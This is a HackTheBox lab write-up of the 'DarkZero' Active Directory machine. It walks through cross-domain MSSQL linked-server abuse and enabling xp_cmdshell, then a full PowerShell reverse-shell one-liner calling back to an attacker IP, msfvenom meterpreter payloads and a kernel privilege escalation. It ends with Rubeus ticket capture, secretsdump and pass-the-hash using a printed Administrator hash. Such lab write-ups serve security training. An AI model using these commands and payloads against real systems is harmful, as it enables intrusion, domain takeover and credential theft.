Post

DarkZero HackTheBox

DarkZero HackTheBox

DarkZero HTB Writeup

DarkZero is a hard-difficulty Windows machine designed around an assumed breach scenario in which the attacker is provided with low-privileged user credentials. The machine features an Active Directory environment with Bidirectional trust, Cross-domain MSSQL Trusted Link, and TGT Delegation. The attacker discovers a misconfigured MSSQL trusted link that points to a different domain (darkzero.htb -> darkzero.ext), and the remote login has sysadmin privileges. The attacker enables the xp_cmdshell procedure as a sysadmin and executes commands. The spawned session under MSSQLSERVICE doesn’t have the SeImpersonatePrivilege; however, the user account running the service has the SeServiceLogonRight. The attacker is forced to change the password and get a new session with Logon Type 5 (Service Logon) to regain those privileges and gain system privileges on the DC02 (darkzero.ext). To compromise the darkzero.htb domain: the attacker abuses TGT delegation by forcing DC01 to authenticate to DC02, with Unconstrained Delegation enabled.

image.png

Initial Enumeration

As always we are gonna start off with the rustmap to find the open ports and services running on the box.

1
rustmap.py -ip 10.129.244.126

image.png

image.png

image.png

Looking at the results we can say that it is an Active Directory Box.

Adding DC01.DARKZERO.HTB, DARKZERO.HTB, DC01 to our /etc/hosts file to resolve the DNS.

Also we need to sync the DC clock which is 7 hours ahead of our local time.

1
sudo ntpdate 10.129.244.126

SMB Enumeration

Lets start with the SMB enumeration part first since the ports 139 and 445 are open on the box.

1
nxc smb 10.129.244.126 -u 'john.w' -p 'RFulUtONCOL!' --shares

image.png

No special unique share found here.

Lets do an RID Bruteforce attack to get all the users and machine accounts in the domain.

1
nxc smb 10.129.244.126 -u 'john.w' -p 'RFulUtONCOL!' --rid-brute 6000

image.png

One big problem solved here is that this is not a big domain 😅

Now I will save all these users to a users-darkzero.txt file.

Kerberos Authentication

Also lets generate the krb5.conf file of this domain to also authenticate with kerberos incase NTLM authentication fails in the future, since I was experiencing some connection issues with the NTLM authentication.

1
nxc smb dc01.darkzero.htb --generate-krb5-file darkzero-krb5.conf

image.png

Now I will also get a TGT for the john.w user, so that we can authenticate using kerberos.

1
impacket-getTGT darkzero.htb/john.w:'RFulUtONCOL!'

image.png

Now lets try to access the SMB shares on the box using the kerberos authentication.

1
nxc smb dc01.darkzero.htb -k -u 'john.w' -p 'RFulUtONCOL!' --shares

image.png

The kerberos authentication also works just fine.

Bloodhound

Since this is an assumed breach scenario lets collect the data using injestors to analyze it in bloodhound.

Using rusthound-ce to collect the data.

1
rusthound-ce -d darkzero.htb -u 'john.w' -p 'RFulUtONCOL!' -c All -z --ldaps

image.png

Analyzing the bloodhound data from our owned user John.W, this user can only enroll some of the default certificates in the domain.

image.png

This is of no use for us right now.

Exploitation

Authentication on DC02.DARKZERO.EXT

The MSSQL port is also open on the box.

1
nxc mssql 10.129.244.126 -u 'john.w' -p 'RFulUtONCOL!'

image.png

This user had access to the server. Connecting to the remote MSSQL server using the windows authentication.

1
impacket-mssqlclient  darkzero.htb/'john.w':'RFulUtONCOL!'@dc01.darkzero.htb -windows-auth

image.png

And we have successful authentication.

I tried to do the UNC Path injection attack but it gives me the DC01$ machine account hash.

image.png

Which is of no use to us and I know this hash is uncrackable.

While enumerating the links, I found this DC02.darkzero.ext link.

image.png

Similarly we can also find the links using the NetExec module.

1
nxc mssql dc01.darkzero.htb -u 'john.w' -p 'RFulUtONCOL!' -M enum_links

image.png

We can extract information using links, as a low privileged user we have these links available to us.

image.png

Using the link_enable_cmdshell module we try to enable the xp_cmdshell.

1
nxc mssql dc01.darkzero.htb -u 'john.w' -p 'RFulUtONCOL!' -M link_enable_cmdshell -o ACTION=enable LINKED_SERVER=DC02.DARKZERO.EXT

image.png

Successfully enabled the xp_cmdshell on our link DC02.DARKZERO.EXT.

Now we try to execute commands on the remote linked server using the exec_on_link.

1
nxc mssql dc01.darkzero.htb -u 'john.w' -p 'RFulUtONCOL!' -M exec_on_link -o LINKED_SERVER=DC02.DARKZERO.EXT COMMAND='exec xp_cmdshell whoami'

image.png

We have successful code execution on the remotely linked server.

Lets try to get a shell on the box since we have command injection.

I tried getting a shell on the box using this command and its alternatives but the payload doesn’t get executed.

1
nxc mssql dc01.darkzero.htb -u 'john.w' -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AAJABwACQAcwAvAGIAMAAwADIAMAA2ADYAMAAgAC0ATQBlAHQAaABvAGQAIABQAE8AUwBUACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAWAAtAGUAMgA2ADMALQBiADQAZAA2ACIAPQAkAGkAfQAgAC0AQgBvAGQAeQAgACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAZQArACQAcgApACAALQBqAG8AaQBuACAAJwAgACcAKQB9ACAAcwBsAGUAZQBwACAAMAAuADgAfQA='"

Basically this command should give me a shell back to my machine, but I think the module of NetExec is not that good yet cause its a recently introduced module.

I also tried to execute xp_dirtree to get the hash of the svc_sql account’s NetNTLMv2 hash but that too failed.

Now what we will do is manually connect to the MSSQL server using Impacket and repeat the same process within the MSSQL shell.

1
use_link "DC02.darkzero.ext"

image.png

Reenabling the xp_cmdshell.

1
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

image.png

Executing commands to get a shell.

image.png

Hoaxshell Method

Spinning up Hoaxshell to get a encoded payload.

1
/opt/hoaxshell/hoaxshell.py -s 10.10.14.26 -p 9002

image.png

We have a shell on DC02.darkzero.ext as svc_sql.

Lets list the users on this domain.

image.png

Now here I was hoping the find the user.txt file but it was not there 😑

image.png

I think we need to escalate our privileges on this DC.

Uploading winpeasx64.exe, hopefully the antivirus is turned off.

image.png

But there were some problems as the winpeas execution cant be handled by hoaxshell, we need to upgrade our shell.

image.png

Lets catch this reverse shell in metasploit.

So we are gonna use the Metasploit /exploit/multi/handler module, to start a listener.

Metasploit Execution

1
use /exploit/multi/handler

image.png

Now we are gonna use this Nishang payload Invoke-PowershellTcpOneLine.ps1 and edit it accordingly.

1
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.26',9003);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Now we encode it using this command.

1
cat Invoke-PowerShellTcpOneLine.ps1 | iconv -t utf-16le | base64 -w 0

We obtain an base64 encoded payload now lets try to get a shell on the box.

image.png

Now we have an upgraded shell.

Now running the winpeas.exe named as wp.exe.

Here is the listing of the winpeas findings.

image.png

I did not seem to find anything with winpeas too, so I background my current session and invoked the metasploit exploit suggestor module to find any suitable exploits.

image.png

Unfortunately the local exploit suggestor failed too!.

But after some attempts when I searched “Windows 2022 datacenter priv” in Metasploit I got these 2 exploits.

image.png

Using the exploit no.2 i.e. the Windows Kernel Time of check Time of Use LPE in AuthBasepCopyoutInternalSecurityAttributes.

I will configure the payload and set my meterpreter session to it.

image.png

Now here the thing is our session is a BSD/SPARC one and this privilege kernel module requires a meterpreter session to be able to run with.

So lets generate a meterpreter payload and transfer this payload to our bsd/sparc session.

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.26 LPORT=9007 -f exe > shell.exe

image.png

Transferred this file to our BSD/SPARC reverse shell that we got from the mssql.

Started the meterpreter listener on our local machine and configured the exploit accordingly.

Now triggering the transferred shell.exe file on our reverse shell of bsd/sparc.

image.png

This gives us the meterpreter shell as svc_sql.

image.png

Now we are in a more comfortable position on the DC02.DARKZERO.EXT.

Privilege Escalation (DC02.DARKZERO.EXT)

Now we proceed to do the privilege escalation part on DC02$.

image.png

And finally running the exploit gives us this.

Now exploiting this session using our Windows kernel privilege escalation exploit.

image.png

Now we are NT AUTHORITY\SYSTEM on DC02.DARKZERO.EXT.

Now lets claim our User flag on the administrator’s desktop.

image.png

Lets just dump all the hashes on DC02.DARKZERO.EXT using hashdump command.

Hashdump dumps all the SAM hashes on the local machine.

1
hashdump

image.png

Privilege Escalation (DC01.DARKZERO.HTB)

Authentication on DC01.DARKZERO.HTB

Now to gain Administrator on DC01.DARKZERO.HTB which is in different forest, and We have the system shell in a different forest but here the point is that the 2 forests are trusted.

We need DC01 to connect back to DC02 so that we would be able to capture the dc01’s TGT.

Also we need to start monitoring on DC02 so that it can capture the TGT of DC01 on it.

In this process we will coerce the DC01 to connect to DC02.

Rubeus Approach

So let me upload Rubeus.exe to our DC02 SYSTEM shell.

image.png

Uploaded Rubeus now we have to route our local machine’s traffic through dc02 to dc01.

image.png

Now we run Rubeus.exe on DC02.DARKZERO.EXT

1
Rubeus.exe monitor /interval:5 /nowrap

image.png

image.png

Now after Coercing DC01$ from our mssql session → DC01$ tries to connect to DC02$ resulting in successfully capturing the ticket.b64 of the DC01$ machine account.

1
xp_dirtree //DC02.darkzero.ext//something//aashwin

image.png

I will now copy this ticket and saved it to a ticket-dc01.b64 file.

Now we will decode this to ticket-dc01.kirbi.

Because in windows the TGT obtained are in the format of .kirbi and we need to convert them to .ccache if we want to use them in linux.

1
impacket-ticketConverter ticket-dc01.kirbi ticket-dc01.ccache

image.png

Now we export this ticket.

1
2
export KRB5CCNAME=ticket-dc01.ccache
klist

image.png

Shell as Administrator (Secretsdump on DC01$)

Now we simply dump all the domain data using secretsdump.py from the impacket’s collection.

1
impacket-secretsdump -k -no-pass darkzero.htb/'DC01$'@dc01.darkzero.htb

image.png

We now have the full domain dump lets verify the shares using NetExec.

1
nxc smb darkzero.htb -u 'Administrator' -H '5917507bdf2ef2c2b0a869a1cba40726' --shares

image.png

Lets get a shell on the box using Evil-winrm and grab our root.txt.

1
evil-winrm -i darkzero.htb -u 'Administrator' -H '5917507bdf2ef2c2b0a869a1cba40726'

image.png

Rooted!

image.png

Thanks for reading 😊✌️

This post is licensed under CC BY 4.0 by the author.